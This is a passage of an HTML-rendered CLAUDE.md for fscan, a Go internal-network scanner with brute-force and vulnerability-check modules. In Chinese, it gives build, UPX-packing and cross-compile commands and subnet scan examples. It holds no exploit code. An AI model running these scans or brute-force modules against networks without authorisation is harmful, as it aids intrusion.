&lt;/span&gt;&lt;span class="lnt"&gt;217
&lt;/span&gt;&lt;span class="lnt"&gt;218
&lt;/span&gt;&lt;span class="lnt"&gt;219
&lt;/span&gt;&lt;span class="lnt"&gt;220
&lt;/span&gt;&lt;span class="lnt"&gt;221
&lt;/span&gt;&lt;span class="lnt"&gt;222
&lt;/span&gt;&lt;span class="lnt"&gt;223
&lt;/span&gt;&lt;span class="lnt"&gt;224
&lt;/span&gt;&lt;span class="lnt"&gt;225
&lt;/span&gt;&lt;span class="lnt"&gt;226
&lt;/span&gt;&lt;span class="lnt"&gt;227
&lt;/span&gt;&lt;span class="lnt"&gt;228
&lt;/span&gt;&lt;span class="lnt"&gt;229
&lt;/span&gt;&lt;span class="lnt"&gt;230
&lt;/span&gt;&lt;span class="lnt"&gt;231
&lt;/span&gt;&lt;span class="lnt"&gt;232
&lt;/span&gt;&lt;span class="lnt"&gt;233
&lt;/span&gt;&lt;span class="lnt"&gt;234
&lt;/span&gt;&lt;span class="lnt"&gt;235
&lt;/span&gt;&lt;span class="lnt"&gt;236
&lt;/span&gt;&lt;span class="lnt"&gt;237
&lt;/span&gt;&lt;span class="lnt"&gt;238
&lt;/span&gt;&lt;span class="lnt"&gt;239
&lt;/span&gt;&lt;span class="lnt"&gt;240
&lt;/span&gt;&lt;span class="lnt"&gt;241
&lt;/span&gt;&lt;span class="lnt"&gt;242
&lt;/span&gt;&lt;span class="lnt"&gt;243
&lt;/span&gt;&lt;span class="lnt"&gt;244
&lt;/span&gt;&lt;span class="lnt"&gt;245
&lt;/span&gt;&lt;span class="lnt"&gt;246
&lt;/span&gt;&lt;span class="lnt"&gt;247
&lt;/span&gt;&lt;span class="lnt"&gt;248
&lt;/span&gt;&lt;span class="lnt"&gt;249
&lt;/span&gt;&lt;span class="lnt"&gt;250
&lt;/span&gt;&lt;span class="lnt"&gt;251
&lt;/span&gt;&lt;span class="lnt"&gt;252
&lt;/span&gt;&lt;span class="lnt"&gt;253
&lt;/span&gt;&lt;span class="lnt"&gt;254
&lt;/span&gt;&lt;span class="lnt"&gt;255
&lt;/span&gt;&lt;span class="lnt"&gt;256
&lt;/span&gt;&lt;span class="lnt"&gt;257
&lt;/span&gt;&lt;span class="lnt"&gt;258
&lt;/span&gt;&lt;span class="lnt"&gt;259
&lt;/span&gt;&lt;span class="lnt"&gt;260
&lt;/span&gt;&lt;span class="lnt"&gt;261
&lt;/span&gt;&lt;span class="lnt"&gt;262
&lt;/span&gt;&lt;span class="lnt"&gt;263
&lt;/span&gt;&lt;span class="lnt"&gt;264
&lt;/span&gt;&lt;span class="lnt"&gt;265
&lt;/span&gt;&lt;span class="lnt"&gt;266
&lt;/span&gt;&lt;span class="lnt"&gt;267
&lt;/span&gt;&lt;span class="lnt"&gt;268
&lt;/span&gt;&lt;span class="lnt"&gt;269
&lt;/span&gt;&lt;span class="lnt"&gt;270
&lt;/span&gt;&lt;span class="lnt"&gt;271
&lt;/span&gt;&lt;span class="lnt"&gt;272
&lt;/span&gt;&lt;span class="lnt"&gt;273
&lt;/span&gt;&lt;span class="lnt"&gt;274
&lt;/span&gt;&lt;span class="lnt"&gt;275
&lt;/span&gt;&lt;span class="lnt"&gt;276
&lt;/span&gt;&lt;span class="lnt"&gt;277
&lt;/span&gt;&lt;span class="lnt"&gt;278
&lt;/span&gt;&lt;span class="lnt"&gt;279
&lt;/span&gt;&lt;span class="lnt"&gt;280
&lt;/span&gt;&lt;span class="lnt"&gt;281
&lt;/span&gt;&lt;span class="lnt"&gt;282
&lt;/span&gt;&lt;span class="lnt"&gt;283
&lt;/span&gt;&lt;span class="lnt"&gt;284
&lt;/span&gt;&lt;span class="lnt"&gt;285
&lt;/span&gt;&lt;span class="lnt"&gt;286
&lt;/span&gt;&lt;span class="lnt"&gt;287
&lt;/span&gt;&lt;span class="lnt"&gt;288
&lt;/span&gt;&lt;span class="lnt"&gt;289
&lt;/span&gt;&lt;span class="lnt"&gt;290
&lt;/span&gt;&lt;span class="lnt"&gt;291
&lt;/span&gt;&lt;span class="lnt"&gt;292
&lt;/span&gt;&lt;span class="lnt"&gt;293
&lt;/span&gt;&lt;span class="lnt"&gt;294
&lt;/span&gt;&lt;span class="lnt"&gt;295
&lt;/span&gt;&lt;span class="lnt"&gt;296
&lt;/span&gt;&lt;span class="lnt"&gt;297
&lt;/span&gt;&lt;span class="lnt"&gt;298
&lt;/span&gt;&lt;span class="lnt"&gt;299
&lt;/span&gt;&lt;span class="lnt"&gt;300
&lt;/span&gt;&lt;span class="lnt"&gt;301
&lt;/span&gt;&lt;span class="lnt"&gt;302
&lt;/span&gt;&lt;span class="lnt"&gt;303
&lt;/span&gt;&lt;span class="lnt"&gt;304
&lt;/span&gt;&lt;span class="lnt"&gt;305
&lt;/span&gt;&lt;span class="lnt"&gt;306
&lt;/span&gt;&lt;span class="lnt"&gt;307
&lt;/span&gt;&lt;span class="lnt"&gt;308
&lt;/span&gt;&lt;span class="lnt"&gt;309
&lt;/span&gt;&lt;span class="lnt"&gt;310
&lt;/span&gt;&lt;span class="lnt"&gt;311
&lt;/span&gt;&lt;span class="lnt"&gt;312
&lt;/span&gt;&lt;span class="lnt"&gt;313
&lt;/span&gt;&lt;span class="lnt"&gt;314
&lt;/span&gt;&lt;span class="lnt"&gt;315
&lt;/span&gt;&lt;span class="lnt"&gt;316
&lt;/span&gt;&lt;span class="lnt"&gt;317
&lt;/span&gt;&lt;span class="lnt"&gt;318
&lt;/span&gt;&lt;span class="lnt"&gt;319
&lt;/span&gt;&lt;span class="lnt"&gt;320
&lt;/span&gt;&lt;span class="lnt"&gt;321
&lt;/span&gt;&lt;span class="lnt"&gt;322
&lt;/span&gt;&lt;span class="lnt"&gt;323
&lt;/span&gt;&lt;span class="lnt"&gt;324
&lt;/span&gt;&lt;span class="lnt"&gt;325
&lt;/span&gt;&lt;span class="lnt"&gt;326
&lt;/span&gt;&lt;span class="lnt"&gt;327
&lt;/span&gt;&lt;span class="lnt"&gt;328
&lt;/span&gt;&lt;span class="lnt"&gt;329
&lt;/span&gt;&lt;span class="lnt"&gt;330
&lt;/span&gt;&lt;span class="lnt"&gt;331
&lt;/span&gt;&lt;span class="lnt"&gt;332
&lt;/span&gt;&lt;span class="lnt"&gt;333
&lt;/span&gt;&lt;span class="lnt"&gt;334
&lt;/span&gt;&lt;span class="lnt"&gt;335
&lt;/span&gt;&lt;span class="lnt"&gt;336
&lt;/span&gt;&lt;span class="lnt"&gt;337
&lt;/span&gt;&lt;span class="lnt"&gt;338
&lt;/span&gt;&lt;span class="lnt"&gt;339
&lt;/span&gt;&lt;span class="lnt"&gt;340
&lt;/span&gt;&lt;span class="lnt"&gt;341
&lt;/span&gt;&lt;span class="lnt"&gt;342
&lt;/span&gt;&lt;span class="lnt"&gt;343
&lt;/span&gt;&lt;span class="lnt"&gt;344
&lt;/span&gt;&lt;span class="lnt"&gt;345
&lt;/span&gt;&lt;span class="lnt"&gt;346
&lt;/span&gt;&lt;span class="lnt"&gt;347
&lt;/span&gt;&lt;span class="lnt"&gt;348
&lt;/span&gt;&lt;span class="lnt"&gt;349
&lt;/span&gt;&lt;span class="lnt"&gt;350
&lt;/span&gt;&lt;span class="lnt"&gt;351
&lt;/span&gt;&lt;span class="lnt"&gt;352
&lt;/span&gt;&lt;span class="lnt"&gt;353
&lt;/span&gt;&lt;span class="lnt"&gt;354
&lt;/span&gt;&lt;span class="lnt"&gt;355
&lt;/span&gt;&lt;span class="lnt"&gt;356
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# CLAUDE.md
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 项目概述
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fscan 是一个用 Go 语言编写的内网综合扫描工具。支持主机存活探测、端口扫描、服务爆破、漏洞检测（包括 MS17-010、SMB Ghost）、Web 指纹识别，以及基于 YAML 格式的 Web 漏洞扫描（兼容 xray POC 格式）。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 构建和开发命令
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 构建
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 标准编译&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 可选：使用 UPX 压缩体积&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upx -9 fscan.exe
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 跨平台编译示例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Windows 64位&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;GOOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;windows &lt;span class="nv"&gt;GOARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;amd64 go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o fscan_windows_amd64.exe main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Linux 64位&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;GOOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;linux &lt;span class="nv"&gt;GOARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;amd64 go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o fscan_linux_amd64 main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# macOS 64位&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;GOOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;darwin &lt;span class="nv"&gt;GOARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;amd64 go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o fscan_darwin_amd64 main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# macOS ARM64 (Apple Silicon)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;GOOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;darwin &lt;span class="nv"&gt;GOARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;arm64 go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o fscan_darwin_arm64 main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 编译参数说明
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fscan 使用标准 Go 编译工具链，支持以下编译优化：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**ldflags 参数**&lt;/span&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`-s`&lt;/span&gt;：去除符号表（strip symbol table），减小二进制文件大小
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`-w`&lt;/span&gt;：去除 DWARF 调试信息（strip debug info），进一步减小文件大小
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 组合使用 &lt;span class="sb"&gt;`-ldflags=&amp;#34;-s -w&amp;#34;`&lt;/span&gt; 可显著减小可执行文件体积（约减少 30-40%）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**trimpath 参数**&lt;/span&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`-trimpath`&lt;/span&gt;：从生成的可执行文件中删除所有文件系统路径
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 提高二进制文件的可重现性和安全性（不泄露本地路径信息）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**构建约束（Build Tags）**&lt;/span&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; fscan 代码库未使用构建标签（build tags），所有功能在所有平台上统一编译
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 跨平台兼容性通过 Go 标准库的平台抽象实现（如 &lt;span class="sb"&gt;`runtime.GOOS`&lt;/span&gt;、&lt;span class="sb"&gt;`runtime.GOARCH`&lt;/span&gt;）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; ICMP 功能在不同平台上使用 &lt;span class="sb"&gt;`golang.org/x/net/icmp`&lt;/span&gt; 包实现跨平台支持
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 某些功能在特定平台上有限制（如 ICMP 需要管理员权限）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**嵌入式资源（Embed）**&lt;/span&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; WebScan 模块使用 &lt;span class="sb"&gt;`//go:embed pocs`&lt;/span&gt; 将 380+ 个 YAML POC 文件嵌入到二进制文件中
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 编译时会自动打包 &lt;span class="sb"&gt;`WebScan/pocs/`&lt;/span&gt; 目录下的所有文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 无需额外的资源文件即可分发单个可执行文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 常用编译命令组合
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开发调试版本（保留调试信息）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go build -o fscan main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生产发布版本（体积优化）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o fscan main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 交叉编译所有主流平台&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; GOOS in darwin linux windows&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; GOARCH in &lt;span class="m"&gt;386&lt;/span&gt; amd64 arm64&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 跳过不支持的组合&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$GOOS&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;darwin&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$GOARCH&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;386&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;output_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;fscan_&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GOOS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;_&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GOARCH&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$GOOS&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;windows&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;output_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;output_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.exe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Building &lt;/span&gt;&lt;span class="nv"&gt;$output_name&lt;/span&gt;&lt;span class="s2"&gt;...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;GOOS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$GOOS&lt;/span&gt; &lt;span class="nv"&gt;GOARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$GOARCH&lt;/span&gt; go build -ldflags&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-s -w&amp;#34;&lt;/span&gt; -trimpath -o &lt;span class="nv"&gt;$output_name&lt;/span&gt; main.go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 编译后使用 UPX 进一步压缩（可选）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upx -9 fscan_*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 依赖管理
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载依赖&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go mod download
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 整理依赖（移除未使用的依赖）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go mod tidy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 验证依赖&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go mod verify
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看依赖树&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go mod graph
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 运行
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 基本扫描&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go run main.go -h 192.168.1.1/24
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 指定模块&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go run main.go -h 192.168.1.1/24 -m ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 指定端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;go run main.go -h 192.168.1.1/24 -p 22,80,443
